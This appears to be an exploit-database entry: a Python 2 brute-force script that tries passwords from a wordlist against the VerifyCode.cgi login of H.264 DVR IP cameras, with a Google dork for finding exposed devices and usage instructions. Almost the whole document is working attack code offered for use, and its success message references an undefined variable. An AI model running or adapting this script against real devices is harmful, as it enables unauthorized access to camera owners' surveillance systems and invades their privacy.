BruteForce IP CAMERA H.264 DVR - Exploit

btDVR.py

# Exploit Title: BruteForce IP CAMERA H.264 DVR 
# Google Dork: intext:Any time & Any where IP Surveillance for Your Life
# Date: 10/2/15
# Exploit Author: RedToor
# Source: https://gist.github.com/RedToor/71a109a7732884714e8ee07f61cfda59
# Version: ALL
# Tested on: Windows and Linux
# USE:
# python btDVR.py -h 127.0.0.1 -p 3000 -l passwords.txt -u admin
# 

import socket
import base64
import getopt
import sys


options, remainder = getopt.getopt(sys.argv[1:], 'h:p:l:u:')
for option, arg in options:
		if option   == '-h':
			ip=arg
		elif option == '-p':
			port=arg
		elif option == '-u':
			user=arg
		elif option == '-l':
			word=arg
count=0
with open(word, 'r') as claves:
	for ps in claves:
		count=count+1
		ps=ps.replace("\n","")
		print "\t["+str(count)+"] Testing with "+ps
		path="cgi-bin/nobody/VerifyCode.cgi?account="+base64.b64encode(user+":"+ps)+"&captcha_code=6844&verify_code=685S.p/17Zkkc HTTP/1.1"
		red=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		red.connect((ip, int(port)))                                   
		red.send("GET /"+path+"\r\nHOST: "+ip+"\r\n\r\n")							
		last=red.recv(1000)	
		if last.find("ERROR")<=0:print "\n Cracked with ID:"+us+" and PASS:"+ps+"\n"
		else:
			print "----------->Fail..."
			red.close